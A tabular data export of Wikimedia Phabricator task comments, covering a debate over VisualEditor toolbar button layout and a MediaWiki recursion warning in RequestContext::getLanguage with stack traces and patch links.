0.16666666666666666,0.0,4.666666666666667,0.3333333333333333,1.6666666666666667,0.0,3.6666666666666665,11.0,1.8333333333333333,0.3333333333333333,2.3333333333333335,0.0,3.6666666666666665,0.0,1.1666666666666667,1.0,0.3333333333333333,0.8333333333333334,1.8333333333333333,0.5,1.5,3.818468013468013,0.6961111111111111,"From en.wp.

John Broughton: <<So there is now a new toolbar, and - bizarrely - the icons for media, reference, reference list, and transclusion '''are no longer visible'''. They are now under the ""More"" menu.
Okay, one could argue that these four are, somehow, ''advanced'' editing options (no matter how critical they are to editing articles). But I'd love to hear from someone as to why Bold and Italic (the first in particular ''rarely'' used in articles) still have icons visible on the toolbar, while five other formatting options are now under ""More"". It really, really would have been better to have a ""Format text"" drop-down menu that had all seven text formatting options on it, and to leave the media, reference, reference list, and transclusion icons where they were, visible on the toolbar. Or, worst case, leave them under the ""More"" menu [one more click, and thus one less reason for experienced editors to use VE, because this '''makes it more cumbersome to use''' those four things]; at least then they wouldn't be paired with formatting options with which they have little in common. [...] (And don't even get me started on the ''sequence'' within the new ""More"" drop-down menu - apparently the ''least'' important choices are at the ''top'' because that's the way that ''no one else'' does drop-down menus, so obviously everyone else is wrong?!?)>>

Andrew Davidson: <<Bold formatting is not rarely used.  It is used in all articles right at the beginning to emphasise the name of the topic and any synonyms.  But this usage is quite specialised and subject to the conventions of our manual of style.  The VE should understand this.  Either the use of bold text should be handled by a style sheet/template/wizard approach to article creation.  Or the appearance of the bold option in the toolbar should be context sensitive so that it only appears when editing the lead of an article and warnings appears if it seems to be used incorrectly. >>

Salix alba: <<One problem I get is the toolbar frequently splits into two lines. If my browser less than 1100 pixels then the toolbar wraps leaving lots of white space which could be usefully filled. I'd be happier either with single line with more drop downs or two full lines, just not empty space.
I guess different editors will want different things on a toolbar. Doing inline maths you would want italics, sub, and sup to be easily added plus greek symbols eiπ. Other editors will have different requirements. Tooltips would be handy to get shortcuts for each action, (no I will not read the help page). The wikitext editor's toolbar manages to make a lot of things easily accessible.>>

--------------------------
**Version**: unspecified
**Severity**: enhancement"
243916,VisualEditor: Collapse all the text styling buttons (except link?) into a single text-styling icon in the toolbar,I did this in wmf7.,,,1389667077,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-agsyhe563ga6xlci4yds,task_subcomment,,True,c1,3,True,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,I did this in wmf7.
243911,VisualEditor: Collapse all the text styling buttons (except link?) into a single text-styling icon in the toolbar,"FYI, he conversation is now happening at https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Toolbar .",,,1379693737,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-agsyhe563ga6xlci4yds,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.8,1.0,"FYI, he conversation is now happening at URL ."
243905,VisualEditor: Collapse all the text styling buttons (except link?) into a single text-styling icon in the toolbar,"Conversation on the best order of the toolbar is continuing and is pretty thoughtful and indepth at the English VE feedback page. :)

Live link: https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Toolbar_button_priority_proposal

Permanent link to its current state:
https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=573642781#Toolbar_button_priority_proposal",,,1379599183,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-agsyhe563ga6xlci4yds,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,18.0,0.0,5.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,4.128205128205129,0.7948717948717948,"Conversation on the best order of the toolbar is continuing and is pretty thoughtful and indepth at the English VE feedback page. :)

Live link: URL

Permanent link to its current state:
URL"
243901,VisualEditor: Collapse all the text styling buttons (except link?) into a single text-styling icon in the toolbar,"My feelings are similar to John's on this.  We can't bury important buttons like references in a dropdown menu.  And, as John points out, for the english user base anyway, the options of underline and strikethrough are very rarely used.  New users are going to experiment with the options most prominently placed, these should be the most useful tools that would lead to a constructive (i.e. not reverted) edit.",,,1379527718,,PHID-USER-ttyyrgsrkyonct7hizgv,True,,,PHID-TASK-agsyhe563ga6xlci4yds,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,1.0,1.0,2.0,8.0,2.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,2.0,0.0,11.0,13.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,12.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,7.0,5.0,7.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,13.0,2.0,0.0,0.0,0.0,2.0,0.0,1.0,2.0,0.0,1.0,0.0,2.0,1.0,4.083333333333333,0.7738095238095238,"My feelings are similar to John's on this.  We can't bury important buttons like references in a dropdown menu.  And, as John points out, for the english user base anyway, the options of underline and strikethrough are very rarely used.  New users are going to experiment with the options most prominently placed, these should be the most useful tools that would lead to a constructive (i.e. not reverted) edit."
243897,VisualEditor: Collapse all the text styling buttons (except link?) into a single text-styling icon in the toolbar,"Grouping commands under a ""Text format"" drop-down menu is a natural (obvious, intuitive) way to collect commands that are rarely used. For example, bolding of text, in articles, is typically done ONCE (in the lead paragraph, by the author of the article), and then never again. 

A ""Text format"" drop-down menu would take all of the following off of the main toolbar line, leaving space for (at the moment) everything else:

* Bold
* Italic
* Superscript
* Subscript
* Programming language 
* Underline
* Strikethrough
* Clear formatting

Putting all these under a single menu has the advantage of - in the future - allowing projects to control which options are visible in which namespaces. For example, on the English Wikipedia, strikethrough almost certainly should not be a (visible) user choice in mainspace (articlespace), nor should underlining. 

It's important, for SPEED, that frequently used functions are immediately accessible. Articles should have lots of footnotes, a fair number of templates (particularly for footnotes), and at least a couple of images. Putting the related commands into a drop-down menu, as opposed to having them directly on the toolbar, is undesirable: It makes VE less attractive to experienced editors (slower to use) and more difficult for new editors (because now they have to be instructed on, and remember, a TWO-step process (menu, select) rather than a one-step process (click), for important things like images and footnotes.",,,1379523614,,PHID-USER-hirrhium5ibrtof34lwa,True,,,PHID-TASK-agsyhe563ga6xlci4yds,task_subcomment,,True,c1,3,False,,,11,,0.5,0.25,0.0,0.75,0.25,7.0,1.25,0.25,0.0,0.0,2.0,0.0,0.0,0.25,0.0,0.0,0.5,5.0,11.75,0.25,1.25,0.75,0.0,0.0,0.0,0.25,0.25,0.0,0.0,0.25,0.0,3.0,0.25,0.5,0.0,0.0,0.0,0.0,0.75,1.25,0.0,0.75,1.0,0.75,0.0,0.5,0.0,0.25,0.0,14.75,0.0,0.5,0.0,0.25,0.0,0.0,0.0,0.0,1.25,0.25,0.25,0.75,0.0,0.25,0.0,0.25,0.0,5.5,2.25,6.5,0.25,1.75,6.75,0.0,0.0,0.0,0.0,2.75,0.0,0.75,0.0,1.25,11.75,2.0,0.0,1.0,0.0,1.25,0.0,1.0,2.75,0.25,1.5,1.0,0.25,0.0,4.045454545454546,0.7012987012987013,"Grouping commands under a ""Text format"" drop-down menu is a natural (obvious, intuitive) way to collect commands that are rarely used. For example, bolding of text, in articles, is typically done ONCE (in the lead paragraph, by the author of the article), and then never again. 

A ""Text format"" drop-down menu would take all of the following off of the main toolbar line, leaving space for (at the moment) everything else:

* Bold
* Italic
* Superscript
* Subscript
* Programming language 
* Underline
* Strikethrough
* Clear formatting

Putting all these under a single menu has the advantage of - in the future - allowing projects to control which options are visible in which namespaces. For example, on the English Wikipedia, strikethrough almost certainly should not be a (visible) user choice in mainspace (articlespace), nor should underlining. 

It's important, for SPEED, that frequently used functions are immediately accessible. Articles should have lots of footnotes, a fair number of templates (particularly for footnotes), and at least a couple of images. Putting the related commands into a drop-down menu, as opposed to having them directly on the toolbar, is undesirable: It makes VE less attractive to experienced editors (slower to use) and more difficult for new editors (because now they have to be instructed on, and remember, a TWO-step process (menu, select) rather than a one-step process (click), for important things like images and footnotes."
243891,VisualEditor: Collapse all the text styling buttons (except link?) into a single text-styling icon in the toolbar,"User Pointillist on the English Wikipedia has some really interesting ideas on this subject, posted here: https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=573508478#Toolbar_button_priority_proposal

Without all the very useful images, he writes (please pardon my clumsy textual effort to reproduce his proposal and check out the link to see it the way it should look):

Summary: as discussed above and in bug 54271, the sequence of buttons in the toolbar isn't appropriate for typical article editing activities.

The current toolbar gives too much priority to hard-coded formatting such as Bold, Italic, Lists and Indents. As a result:
* The most important buttons (e.g. for referencing) are pushed into a secondary position and may even be forced onto the ""More"" drop-down
* Wikilinking is incorrectly associated with formatting
* Formatting buttons are divided between the left-end of the toolbar and the ""More"" drop-down
* It isn't immediately clear what ""More"" is offering


I propose that article content buttons should be at the left end and formatting should be at the right end of the toolbar, so something like this:
[Undo * Redo * Link * Media * Reference * References * Template * Equation * Paragraph * Clear formatting * Bold * Italic * Superscript * Subscript * Programming language * Unordered list * Ordered list * Reduce indent * Increase indent]

If ""More"" is necessary, it would probably be inserted into the formatting buttons, and the users would expect to find more of them in the drop-down, like this:
[Undo * Redo * Link * Media * Reference * References * Template * Equation * Paragraph * Clear formatting * Bold * Italic * Superscript * More]

Of course, this is only a starting point. By the way: underscore and strikeout shouldn't be formatting options in the article space, ""Page title"" isn't necessary as a paragraph style. Thoughts?",,,1379517590,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-agsyhe563ga6xlci4yds,task_subcomment,,True,c1,3,False,,,11,,0.75,0.25,0.25,1.25,1.0,6.5,1.5,0.0,0.0,0.25,2.25,1.0,0.0,0.25,0.0,0.5,2.25,4.75,9.75,0.25,0.75,1.0,0.0,0.25,0.0,0.75,0.0,0.25,0.25,0.5,0.75,3.25,1.0,1.0,0.25,0.0,0.0,0.0,0.25,0.5,0.0,0.75,0.25,0.75,0.0,0.25,0.0,0.0,0.25,15.25,0.75,0.25,0.0,2.0,0.25,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.25,0.0,0.0,0.0,6.25,3.5,15.5,0.75,2.0,7.75,0.0,0.0,0.0,0.0,3.25,0.25,0.25,0.0,2.25,9.75,8.0,0.25,2.5,0.0,2.25,0.0,0.25,1.0,0.25,1.5,1.5,0.25,0.5,4.053661012900143,0.7111801242236025,"User Pointillist on the English Wikipedia has some really interesting ideas on this subject, posted here: URL

Without all the very useful images, he writes (please pardon my clumsy textual effort to reproduce his proposal and check out the link to see it the way it should look):

Summary: as discussed above and in bug 54271, the sequence of buttons in the toolbar isn't appropriate for typical article editing activities.

The current toolbar gives too much priority to hard-coded formatting such as Bold, Italic, Lists and Indents. As a result:
* The most important buttons (e.g. for referencing) are pushed into a secondary position and may even be forced onto the ""More"" drop-down
* Wikilinking is incorrectly associated with formatting
* Formatting buttons are divided between the left-end of the toolbar and the ""More"" drop-down
* It isn't immediately clear what ""More"" is offering


I propose that article content buttons should be at the left end and formatting should be at the right end of the toolbar, so something like this:
[Undo * Redo * Link * Media * Reference * References * Template * Equation * Paragraph * Clear formatting * Bold * Italic * Superscript * Subscript * Programming language * Unordered list * Ordered list * Reduce indent * Increase indent]

If ""More"" is necessary, it would probably be inserted into the formatting buttons, and the users would expect to find more of them in the drop-down, like this:
[Undo * Redo * Link * Media * Reference * References * Template * Equation * Paragraph * Clear formatting * Bold * Italic * Superscript * More]

Of course, this is only a starting point. By the way: underscore and strikeout shouldn't be formatting options in the article space, ""Page title"" isn't necessary as a paragraph style. Thoughts?"
56193,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"I thought there was a bug for this, but I can't find it...

Warning:  Recursion detected in RequestContext::getLanguage in /usr/local/apache/common-local/php-1.22wmf16/includes/context/RequestContext.php on line 281


The amount of the warnings seems to have increased a lot more in wmf16/wmf17

Such occurrences and stracktraces can be found in logstash with `_type: mediawiki` and `channel: recursion-guard`.
",High,80.0,1379372820,1487640775.0,PHID-USER-6vzzsmi22zem6yttr6vp,False,PHID-USER-k6tmz5ylx4rzfl3bitse,False,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_description,resolved,True,c1,3,False,False,False,11,,0.0,0.0,0.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,1.0,3.0,0.0,1.0,12.0,0.0,1.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,1.0,0.0,0.0,3.0,4.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,5.0,3.0,13.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,4.0,12.0,10.0,0.0,0.0,0.0,4.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,4.217948717948718,0.7948717948717948,"I thought there was a bug for this, but I can't find it...

Warning:  Recursion detected in RequestContext::getLanguage in /usr/local/apache/common-local/php-1.22wmf16/includes/context/RequestContext.php on line 281


The amount of the warnings seems to have increased a lot more in wmf16/wmf17

Such occurrences and stracktraces can be found in logstash with CODE and CODE.
"
812747,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,No events logged in the recursion-guard channel since December 2016.,,,1487640775,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,190,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.538461538461538,1.0,No events logged in the recursion-guard channel since December 2016.
619113,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Change 273586 merged by jenkins-bot:
Fix 'localpage' message handling

[[https://gerrit.wikimedia.org/r/273586]]",,,1456599605,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,138,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.7142857142857144,0.8571428571428571,"Change 273586 merged by jenkins-bot:
Fix 'localpage' message handling

[[GERRIT_URL]]"
619105,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Change 273586 had a related patch set uploaded (by Anomie):
Fix 'localpage' message handling

[[https://gerrit.wikimedia.org/r/273586]]
",,,1456598697,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,138,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.730769230769231,0.8461538461538461,"Change 273586 had a related patch set uploaded (by Anomie):
Fix 'localpage' message handling

[[GERRIT_URL]]
"
619104,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,">>! In T56193#2068539, @Mattflaschen wrote:
> P2680

> 16 0.8985 8361744 Message->isDisabled( ) ../TitleBlacklist.list.php:98

WTF are you doing there, TitleBlacklist?",,,1456598688,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,138,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.9285714285714284,0.7857142857142857,"QUOTE
QUOTE

QUOTE

WTF are you doing there, TitleBlacklist?"
618954,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,P2680,,,1456539439,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,138,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,P2680
618953,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,Got this locally on MediaWiki-Vagrant.,,,1456539379,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,138,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,Got this locally on MediaWiki-Vagrant.
588673,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,">>! In T56193#1926036, @mmodell wrote:
> @bd808: do you think there is any value in keeping this error message?  It seems to me like it's expected behavior at this point and not really valuable.

Disabling the log message has been proposed as a patch before (<https://gerrit.wikimedia.org/r/#/c/102557/>) and @TStarling at that time wanted the message to stay until the underlying bug was fixed.",,,1452556121,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,132,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,12.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,3.0,4.264705882352941,0.8823529411764706,"QUOTE
QUOTE

Disabling the log message has been proposed as a patch before (<URL andSCREEN_NAME at that time wanted the message to stay until the underlying bug was fixed."
588652,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,@bd808: do you think there is any value in keeping this error message?  It seems to me like it's expected behavior at this point and not really valuable.,,,1452554163,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,132,,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,12.0,0.0,3.0,0.0,0.0,12.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.9696969696969697,0.9696969696969697,SCREEN_NAME: do you think there is any value in keeping this error message?  It seems to me like it's expected behavior at this point and not really valuable.
520679,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,">>! In T56193#1603723, @Southparkfan wrote:
> Seems to not be Wikimedia-only, I experience this error too:

This looks to be a variant on one of the patterns noted in T56193#554201:
* getLanguage() → Log in from cookies → User::isUsableName() → Message → getLanguage()

In this particular case, the `wfMessage()` call is going to be rendered using the `inContentLanguage()` method but before it can get that far the Parser wants to know the User's language.

The statement of ""It should be a pretty simple change for Brad or Chris."" in T56193#554221 has thus far proved to be a variant on [[https://en.wikipedia.org/wiki/Fermat's_Last_Theorem|Fermat's Last Theorem]]. Many people have looked for the proof but none have yet been able to provide one.",,,1441317606,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,113,,1.0,0.0,0.0,0.5,0.0,3.0,3.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,4.5,10.5,1.0,3.5,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,4.0,2.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,11.5,0.5,1.0,0.0,0.0,0.0,0.5,0.0,2.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,6.5,4.0,13.5,0.0,2.0,7.5,0.0,0.0,0.0,0.0,5.0,0.0,1.5,0.0,1.5,10.5,6.5,0.0,1.5,0.0,1.5,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.5,3.6953125,0.7578125,"QUOTE
QUOTE

This looks to be a variant on one of the patterns noted in T56193#554201:
* getLanguage() → Log in from cookies → User::isUsableName() → Message → getLanguage()

In this particular case, the CODE call is going to be rendered using the CODE method but before it can get that far the Parser wants to know the User's language.

The statement of ""It should be a pretty simple change for Brad or Chris."" in T56193#554221 has thus far proved to be a variant on [[URL Last Theorem]]. Many people have looked for the proof but none have yet been able to provide one."
520523,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Seems to not be Wikimedia-only, I experience this error too:
| Product | version
| MediaWiki | 1.25.2 (9c89a16) 18:08, 3 September 2015
| HHVM | 3.8.1 (srv)
| MariaDB | 10.0.20-MariaDB-0+deb8u1-log
Configuration: https://github.com/miraheze/mw-config/blob/master/LocalSettings.php
```
#0 /srv/mediawiki/w/includes/StubObject.php(204): RequestContext->getLanguage()
#1 /srv/mediawiki/w/includes/StubObject.php(160): StubUserLang->_newObject()
#2 /srv/mediawiki/w/includes/parser/ParserOptions.php(588): StubObject->_unstub()
#3 /srv/mediawiki/w/includes/cache/MessageCache.php(148): ParserOptions->__construct()
#4 /srv/mediawiki/w/includes/cache/MessageCache.php(988): MessageCache->getParserOptions()
#5 /srv/mediawiki/w/includes/Message.php(1059): MessageCache->transform()
#6 /srv/mediawiki/w/includes/Message.php(726): Message->transformText()
#7 /srv/mediawiki/w/includes/Message.php(789): Message->toString()
#8 /srv/mediawiki/w/includes/User.php(748): Message->text()
#9 /srv/mediawiki/w/includes/User.php(790): User::isUsableName()
#10 /srv/mediawiki/w/extensions/CentralAuth/includes/CentralAuthHooks.php(1082): User::isCreatableName()
#11 /srv/mediawiki/w/extensions/CentralAuth/includes/CentralAuthHooks.php(835): CentralAuthHooks::attemptAddUser()
#12 /srv/mediawiki/w/includes/Hooks.php(209): CentralAuthHooks::onUserLoadFromSession()
#13 /srv/mediawiki/w/includes/User.php(1132): Hooks::run()
#14 /srv/mediawiki/w/includes/User.php(361): User->loadFromSession()
#15 /srv/mediawiki/w/includes/User.php(4942): User->load()
#16 /srv/mediawiki/w/includes/User.php(2587): User->loadOptions()
#17 /srv/mediawiki/w/includes/context/RequestContext.php(342): User->getOption()
#18 /srv/mediawiki/w/includes/Message.php(577): RequestContext->getLanguage()
#19 /srv/mediawiki/w/includes/context/RequestContext.php(436): Message->setContext()
#20 /srv/mediawiki/w/includes/context/ContextSource.php(176): RequestContext->msg()
#21 /srv/mediawiki/w/includes/OutputPage.php(974): ContextSource->msg()
#22 /srv/mediawiki/w/includes/page/Article.php(512): OutputPage->setPageTitle()
#23 /srv/mediawiki/w/includes/actions/ViewAction.php(44): Article->view()
#24 /srv/mediawiki/w/includes/MediaWiki.php(395): ViewAction->show()
